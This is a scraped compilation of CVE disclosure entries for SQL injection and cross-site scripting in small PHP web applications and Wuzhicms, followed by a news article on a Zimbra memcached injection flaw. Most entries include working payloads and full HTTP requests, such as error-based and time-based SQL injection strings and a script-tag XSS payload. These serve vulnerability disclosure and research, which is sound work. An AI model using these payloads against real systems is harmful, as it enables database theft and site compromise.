Victor CMS 1.0 is vulnerable to SQL injection via c_id parameter of admin_edit_comment.php, p_id parameter of admin_edit_post.php, u_id parameter of admin_edit_user.php, and edit parameter of admin_update_categories.php.

CVE-2020-35597

NOKIA VitalSuite SPM 2020 is affected by SQL injection through UserName'.

Something went wrong, but don’t fret — let’s give it another shot.

CVE-2021-41487

Directory Management System v1.0 was discovered to contain a SQL injection vulnerability via the fullname parameter in add-directory.php.

\> \[Suggested description\]

\> Directory Management System v1.0 was discovered to contain a SQL

\> injection vulnerability via the fullname parameter in

\> add-directory.php.

\>

\> ------------------------------------------

\>

\> \[Vulnerability Type\]

\> SQL Injection

\>

\> ------------------------------------------

\>

\> \[Vendor of Product\]

\> phpgurukul

\>

\> ------------------------------------------

\>

\> \[Affected Product Code Base\]

\> Directory Management System - 1.0

\>

\> ------------------------------------------

\>

\> \[Affected Component\]

\> add-directory.php

\>

\> ------------------------------------------

\>

\> \[Attack Type\]

\> Remote

\>

\> ------------------------------------------

\>

\> \[Impact Information Disclosure\]

\> true

\>

\> ------------------------------------------

\>

\> \[Attack Vectors\]

\> POST /dms/admin/add-directory.php HTTP/1.1

\> Host: ip

\> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0

\> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

\> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

\> Accept-Encoding: gzip, deflate

\> Content-Type: application/x-www-form-urlencoded

\> Content-Length: 178

\> Connection: close

\> Cookie: PHPSESSID=eml4bgiglhno5kgmjj8uld5qgs

\> Upgrade-Insecure-Requests: 1

\>

\> fullname=database()','$profession','$email','$mobilenumber','$address',database(),'$admsta')%23&profession=aaaa&email=aaa%40aaa.aaa&mobilenumber=aaa&city=aaa&address=aaaa&submit=

\>

\> ------------------------------------------

\>

\> \[Discoverer\]

\> laotun

\>

\> ------------------------------------------

\>

\> \[Reference\]

\> http://directory.com

\> http://phpgurukul.com

Use CVE-2022-31384.

CVE-2022-31384: POC/CVE-2022-31384.txt at main · laotun-s/POC

Directory Management System v1.0 was discovered to contain a SQL injection vulnerability via the searchdata parameter in search-dirctory.php.

CVE-2022-31382

Zoo Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via zms/admin/public_html/save_animal?an_id=24.

Permalink

**zoo-management-system - Cross-site Scripting (XSS)**

vendors: https://www.sourcecodester.com/php/15347/zoo-management-system-source-code-php-mysql-database.html

Date: 2022-05-07

Vulnerability File: /zms/admin/public\_html/save\_animal?an\_id=24

Vulnerability location: /zms/admin/public\_html/save\_animal?an\_id=24, an\_given\_name

\[+\] Payload: "><sCrIpT>alert(1)</sCrIpT>

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/zms/admin/public_html/save_animal?an_id=24 HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    Content-Type: multipart/form-data; boundary=---------------------------154827300217808672181041720663
    Content-Length: 4518
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/zms/admin/public_html/save_animal?an_id=24
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    Upgrade-Insecure-Requests: 1
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="animal_id"
    
    24
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_given_name"
    
    	 "><sCrIpT>alert(1)</sCrIpT>
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_species_name"
    
    Acinonyx jubatus
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_dob"
    
    2020-04-04
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_gender"
    
    m
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_avg_lifespan"
    
    20 Years
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="class_id"
    
    1
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="location_id"
    
    4
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_dietary_req"
    
    Meat
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_natural_habitat"
    
    Grassland
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_pop_dist"
    
    20,000 in Asia
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_joindate"
    
    2020-04-11
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_height"
    
    12
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_weight"
    
    12
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_description"
    
    lorem ipsum dolor sit amet
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="images[]"; filename=""
    Content-Type: application/octet-stream
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_med_record"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_transfer"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_transfer_reason"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_death_date"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_death_cause"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="an_incineration"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="m_gest_period"
    
    2 months
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="m_category"
    
    Clawed Mammal
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="m_avg_body_temp"
    
    34
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="b_nest_const"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="b_clutch_size"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="b_wingspan"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="b_color_variant"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="f_body_temp"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="f_water_type"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="f_color_variant"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="rep_type"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="clutch_size"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="num_offspring"
    
    
    -----------------------------154827300217808672181041720663
    Content-Disposition: form-data; name="submit"
    
    
    -----------------------------154827300217808672181041720663--

CVE-2022-31914: 0525/xss.md at main · mikeccltt/0525

Online Discussion Forum Site v1.0 is vulnerable to SQL Injection via /odfs/classes/Master.php?f=delete_team.

Permalink

Cannot retrieve contributors at this time

**online-discussion-forum-site v1.0 has SQL injection**

vendors: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Date: 2022-05-07

Vulnerability File: /odfs/classes/Master.php?f=delete\_team

Vulnerability location:/odfs/classes/Master.php?f=delete\_category, id

\[+\] Payload: 2'and/\*\*/extractvalue(1,concat(char(126),database()))and'

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/odfs/classes/Master.php?f=delete_category HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 60
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/odfs/admin/?page=categories
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    
    id=2'and/**/extractvalue(1,concat(char(126),database()))and'

CVE-2022-31911: 0525/sql.md at main · mikeccltt/0525

Student Registration and Fee Payment System v1.0 is vulnerable to SQL Injection via /scms/student.php.

Permalink

Cannot retrieve contributors at this time

**student-registration-and-fee-payment-system v1.0 has SQL injection**

vendors: https://www.sourcecodester.com/php/15355/student-registration-and-fee-payment-system-php-mysql.html

Date: 2022-05-07

Vulnerability File: /scms/student.php

Vulnerability location:/scms/student.php, id

\[+\] Payload: 5'and(select\*from(select+sleep(3))a/**/union/**/select+1)='

Tested on Windows 10, XAMPP

    GET http://192.168.2.102/scms/student.php?action=delete&id=5'and(select*from(select+sleep(3))a/**/union/**/select+1)=' HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    Connection: close
    Referer: http://192.168.2.102/scms/student.php?act=2
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    Upgrade-Insecure-Requests: 1

CVE-2022-31908: 0525/sql.md at main · mikeccltt/0525

Online Tutor Portal Site v1.0 is vulnerable to SQL Injection via /otps/classes/Master.php?f=delete_team.

Permalink

Cannot retrieve contributors at this time

**online-tutor-portal-site v1.0 has SQL injection**

vendors: https://www.sourcecodester.com/php/15339/online-tutor-portal-site-phpopp-free-source-code.html

Date: 2022-05-07

Vulnerability File: /otps/classes/Master.php?f=delete\_team

Vulnerability location:/otps/classes/Master.php?f=delete\_course, id

\[+\] Payload: 2'and/\*\*/extractvalue(1,concat(char(126),database()))and'

Tested on Windows 10, XAMPP

    POST http://192.168.2.102/otps/classes/Master.php?f=delete_course HTTP/1.1
    Host: 192.168.2.102
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.5,zh-HK;q=0.3,en-US;q=0.2
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 60
    Origin: http://192.168.2.102
    Connection: close
    Referer: http://192.168.2.102/otps/admin/?page=courses
    Cookie: PHPSESSID=vpohrtulukshjgjlje1jbeavrj
    
    id=2'and/**/extractvalue(1,concat(char(126),database()))and'

CVE-2022-31912: 0525/sql.md at main · mikeccltt/0525

SQL injection vulnerabilities exist in Wuzhicms v4.1.0 which allows attackers to execute arbitrary SQL commands via the $keyValue parameter in /coreframe/app/pay/admin/index.php

**There are 3 SQL injections in Wuzhicms v4.1.0 background****one****Wuzhicms v4.1.0 /coreframe/app/pay/admin/index.php hava a SQL Injection Vulnerability****Vulnerability file:**

/coreframe/app/pay/admin/index.php 30-98

	public function listing(){
		$fieldtypes = array('订单号', '手机号', '所属客服', '经销商');
		$keytype = isset($GLOBALS\['keytype'\]) ? intval($GLOBALS\['keytype'\]) : 0;
		$payments = $this\->payments;
		$status\_arr = $this\->status\_arr;
		$page = isset($GLOBALS\['page'\]) ? intval($GLOBALS\['page'\]) : 1;
		$page = max($page, 1);
		$status = $GLOBALS\['status'\];

		if ($status) {
			$where = 'status=' . $status;
		} else {
			$where = 'status>0';
		}
		if ($keytype) {
			$where .= " AND \`keytype\`='$keytype'";
		}
		$keyValue = strip\_tags($GLOBALS\['keyValue'\]);
		$fieldtype = intval($GLOBALS\['fieldtype'\]);
		if ($keyValue) {
			switch ($fieldtype) {
				case 0:
					$where .= " AND \`order\_no\`='$keyValue'";
					break;
				case 1:
					$where .= " AND \`telephone\`='$keyValue'";
					break;
				case 2:
					$where .= " AND \`kf\_username\`='$keyValue'";
					break;
				case 3:
					$where .= " AND \`jxs\_username\`='$keyValue'";
					break;
			}
		}

		if ($\_SESSION\['role'\] == 4) {
			//客服
			$kf\_username = get\_cookie('username');
			$where .= " AND \`kf\_username\`='$kf\_username'";
		}
		$starttime = '';
		$endtime = '';
		if ($GLOBALS\['starttime'\]) {
			$starttime = strtotime($GLOBALS\['starttime'\]);
			$where .= " AND \`addtime\`>'$starttime'";
		}
		if ($GLOBALS\['endtime'\]) {
			$endtime = strtotime($GLOBALS\['endtime'\]);
			$where .= " AND \`endtime\`<'$endtime'";
		}
		if(isset($GLOBALS\['exp'\])) {
			$pagesize = 1000;
		} else {
			$pagesize = 20;
		}

		$admin\_result = $this\->db\->get\_list('admin', array('role' => 4), '\*', 0, 20, 0);
		$result = $this\->db\->get\_list('pay', $where, '\*', 0, $pagesize, $page, 'id DESC');
		if(isset($GLOBALS\['exp'\])) {
			$this\->export\_excel($result);
		}
		$pages = $this\->db\->pages;
		$total = $this\->db\->number;
		$pay\_config = get\_config('pay\_config');
		load\_class('form');

		include $this\->template('listing');
	}

the $keyValueparameter is not strictly filtered, causing SQL injection vulnerabilities!

**POC**

    /index.php?m=pay&f=index&v=listing&_su=wuzhicms&keyValue=1111'/**/union/**/select/**/updatexml(1,concat(0x7e,(select DATABASE()),0x7e),1);-- -
    

**two**

The second SQL injection and the first SQL injection are in a different function in the same file!

**Wuzhicms v4.1.0 /coreframe/app/pay/admin/index.php hava a SQL Injection Vulnerability****Vulnerability file:**

/coreframe/app/pay/admin/index.php 244-289

public function relay(){
		$id = intval($GLOBALS\['id'\]);
		$r = $this\->db\->get\_one('pay', array('id' => $id));
		$r2 = $this\->db\->get\_one('pay\_detail', array('id' => $id));
		$r = array\_merge($r, $r2);
		$keyValue = '';
		$keyType = '';
		if (isset($GLOBALS\['keyType'\])) {
			$keyType = $GLOBALS\['keyType'\];
			$keyValue = $GLOBALS\['keyValue'\];
			if ($keyValue) {
				$where = "modelid=11 AND \`$keyType\` LIKE '%$keyValue%'";
				$result = $this\->db\->get\_list('member', $where, '\*', 0, 20, 0, 'uid DESC');
			}
		} elseif (isset($GLOBALS\['submit'\])) {
			load\_function('common', 'pay');
			$formdata = array();
			$formdata\['order\_no'\] = create\_order\_no();
			$formdata\['to\_uid'\] = intval($GLOBALS\['to\_uid'\]);
			$formdata\['username'\] = $r\['linkman'\];
			$formdata\['mobile'\] = $r\['telephone'\];
			$formdata\['pinpai'\] = $r\['data1'\];
			$formdata\['chexing'\] = $r\['data3'\];
			$formdata\['addtime'\] = $r\['addtime'\];
			$formdata\['keytype'\] = 0;//游客订单
			$formdata\['zftime'\] = SYS\_TIME;
			$this\->db\->insert('demand\_relay', $formdata);
			$formdata2 = array();
			$formdata2\['op\_uid'\] = $\_SESSION\['uid'\];
			$formdata2\['to\_uid'\] = intval($GLOBALS\['to\_uid'\]);
			$formdata2\['to\_username'\] = $GLOBALS\['to\_username'\];
			$formdata2\['updatetime'\] = SYS\_TIME;
			$this\->db\->insert('demand\_history', $formdata2);
			// $this->db->update('demand', array('flag'=>1),array('did' => $did));
			$this\->db\->update('pay', array('jxs\_username' => $formdata2\['to\_username'\]), array('id' => $id));
			$forward = strip\_tags($GLOBALS\['forward'\]);
			MSG('发送成功', $forward);
		} else {
			$uid = $\_SESSION\['uid'\];
			$where = "op\_uid='$uid'";
			$data = $this\->db\->get\_one('demand\_history', $where, '\*', 0, 'hid DESC');
			$forward = strip\_tags($GLOBALS\['forward'\]);

		}
		include $this\->template('pay\_relay');
	}

Set $keyType=uid  and $keyValue to be controllable.

the $keyValueparameter is not strictly filtered, causing SQL injection vulnerabilities!

**POC**

    /index.php?m=pay&f=index&v=relay&_su=wuzhicms&keyType=uid&keyValue=111'/**/union/**/select/**/updatexml(1,concat(0x7e,(select DATABASE()),0x7e),1);-- -
    

**three****Wuzhicms v4.1.0 /coreframe/app/order/admin/index.php hava a SQL Injection Vulnerability**

Someone has submitted a SQL injection vulnerability in the file /coreframe/app/order/admin/index.php before (#175), but I found that in addition to the $flag parameter, it can be injected In addition, the $keyValue parameter can also be injected!

**Vulnerability file:**

coreframe/app/order/admin/index.php 22-87

public function listing() {
    load\_class('form');
    $fieldtypes = array('订单ID','标题','下单会员','物流单号');
    $flag = $GLOBALS\['flag'\];
    $status = array();
    $status\[1\] = '待发货';
    $status\[2\] = '已发货';
    $status\[3\] = '订单完成';

    $status\_arr = $this\->status\_arr;
    $page = isset($GLOBALS\['page'\]) ? intval($GLOBALS\['page'\]) : 1;
    $page = max($page,1);
    $keyValue = strip\_tags($GLOBALS\['keyValue'\]);
    $fieldtype = intval($GLOBALS\['fieldtype'\]);
    $where = '1';
    if($keyValue) {
        switch($fieldtype) {
            case 0:
                $where .= " AND \`order\_no\`='$keyValue'";
                break;
            case 1:
                $where .= " AND \`remark\` LIKE '%$keyValue%'";
                break;
            case 2:
                $r = $this\->db\->get\_one('member', array('username' => $keyValue));
                $uid = $r\['uid'\];
                $where .= " AND \`uid\`='$uid'";
                break;
            case 3:
                $where .= " AND \`snid\`='$keyValue'";
                break;
        }
    }
    if($flag!='' && $flag\==0 || $flag) $where .=" AND \`status\`='$flag'";
    $starttime = '';
    $endtime = '';
    if($GLOBALS\['starttime'\]) {
        $starttime = strtotime($GLOBALS\['starttime'\]);
        $where .= " AND \`addtime\`>'$starttime'";
    }
    if($GLOBALS\['endtime'\]) {
        $endtime = strtotime($GLOBALS\['endtime'\]);
        $where .= " AND \`addtime\`<'$endtime'";
    }
    $result\_arr = $this\->db\->get\_list('order\_point', $where, '\*', 0, 20,$page,'orderid DESC');

Set $fieldtype\=1 and $keyValue to be controllable.

the $keyValueparameter is not strictly filtered, causing SQL injection vulnerabilities!

**POC**

    http://yyds.upload/index.php?m=order&f=index&v=listing&_su=wuzhicms&keyValue=111'/**/union/**/select/**/updatexml(1,concat(0x7e,(select DATABASE()),0x7e),1);-- -&fieldtype=1
    

    Multiple SQL injection vulnerabilities exist in wuzhicms v4.1.0
    Allows attackers to execute arbitrary SQL commands via the $keyValue parameter in the (1) / core / APP / order / admin / index.php file and the $keyValue parameter in the (2) / core / APP / pay / admin / index.php file.
    

    https://github.com/wuzhicms/wuzhicms/issues/198
    
    

    Vulnerability verification process(https://github.com/wuzhicms/wuzhicms/issues/198)
    
    Use sql injection to elevate permissions and write webshell
    Individual

CVE-2021-41654: There are 3 SQL injections in Wuzhicms v4.1.0 background · Issue #198 · wuzhicms/wuzhicms

Attackers could also potentially gain access to various internal services, researcher warns

Attackers could also potentially gain access to various internal services, researcher warns

A memcached injection vulnerability in business webmail platform Zimbra could allow attackers to steal login credentials without user interaction, security researchers have revealed.

Zimbra, an open source alternative to services including Microsoft Exchange, is used by more than 200,000 businesses and more than 1,000 government and financial institutions worldwide, according to its developer, Synacor.

Simon Scannell, vulnerability researcher at Swiss security firm Sonar (formerly SonarSource), has documented how unauthenticated attackers could poison an unsuspecting victim’s cache.

It is then possible to steal cleartext credentials from the Zimbra instance, when the mail client connects to the Zimbra server, as demonstrated in the following proof-of-concept video:

Because newline characters () were not escaped in untrusted user input, attackers could inject arbitrary memcached commands into a targeted instance and trigger an overwrite of arbitrary cached entries.

Memcached servers store key/value pairs that can be set and retrieved with a simple text-based protocol and interpret incoming data line by line.

**Escalation risk**

Zimbra users have been urged to upgrade their installations immediately, given the potential impact of successful exploitation.

**RECOMMENDED** Oblivious DNS-over-HTTPS offers privacy enhancements to secure lookup protocol

The severity of the vulnerability (CVE-2022-27924) is listed as ‘high’ (CVSS 7.5) rather than ‘critical’, but once a mailbox is breached, “attackers can potentially escalate their access to targeted organizations and gain access to various internal services and steal highly sensitive information”, Scannell warned.

“With mail access, attackers can reset passwords, impersonate their victims, and silently read all private conversations within the targeted company.”

**Continuous injections**

Attackers could poison victims’ IMAP route cache entries by ascertaining the victim’s email address – an easy enough task with OSINT methods – but the researchers also successfully deployed response smuggling to steal cleartext credentials without first obtaining this information.

“By continuously injecting more responses than there are work items into the shared response streams of Memcached, we can force random Memcached lookups to use injected responses instead of the correct response,” explained Scannell.

“This works because Zimbra did not validate the key of the Memcached response when consuming it. By exploiting this behavior, we can hijack the proxy connection of random users connecting to our IMAP server without having to know their email addresses.”

**Holding the newline**

The flaw affects both open source and commercial versions of Zimbra in their default configurations.

The flaws were reported on March 11 and an initial fix, released on March 31, failed to properly address the issue. The comprehensively patched versions are 8.8.15 with patch level 31.1 and 9.0.0 with patch level 24.1.

Catch up with the latest security research news

“Zimbra patched the vulnerability by creating a SHA-256 hash of all Memcache keys before sending them to the Memcache server,” said Scannell. “As the hex-string representation of a SHA-256 can’t contain whitespaces, no new-lines can be injected anymore.”

**Sonar disclosed the flaw on June 14.**

Scannell concluded his write-up by observing that cross-site scripting (XSS) and SQL injection flaws arising from a lack of input escaping “have been well known and documented for decades”, but that “other injection vulnerabilities can occur that are less known and can have a critical impact”.

As a consequence, Scannell recommends that developers “be aware of special characters that should be escaped when dealing with technology where less documentation and research about potential vulnerabilities exists”.

The vulnerability has emerged four months after Zimbra released a hotfix for an XSS flaw whose abuse underpinned a series of sophisticated spear-phishing campaigns linked to an unknown Chinese threat group.

Sonar also discovered a pair of Zimbra vulnerabilities last year that, if combined, allowed unauthenticated attackers to gain control of Zimbra servers.

**RELATED** Horde Webmail contains zero-day RCE bug with no patch on the horizon

Tag

#sql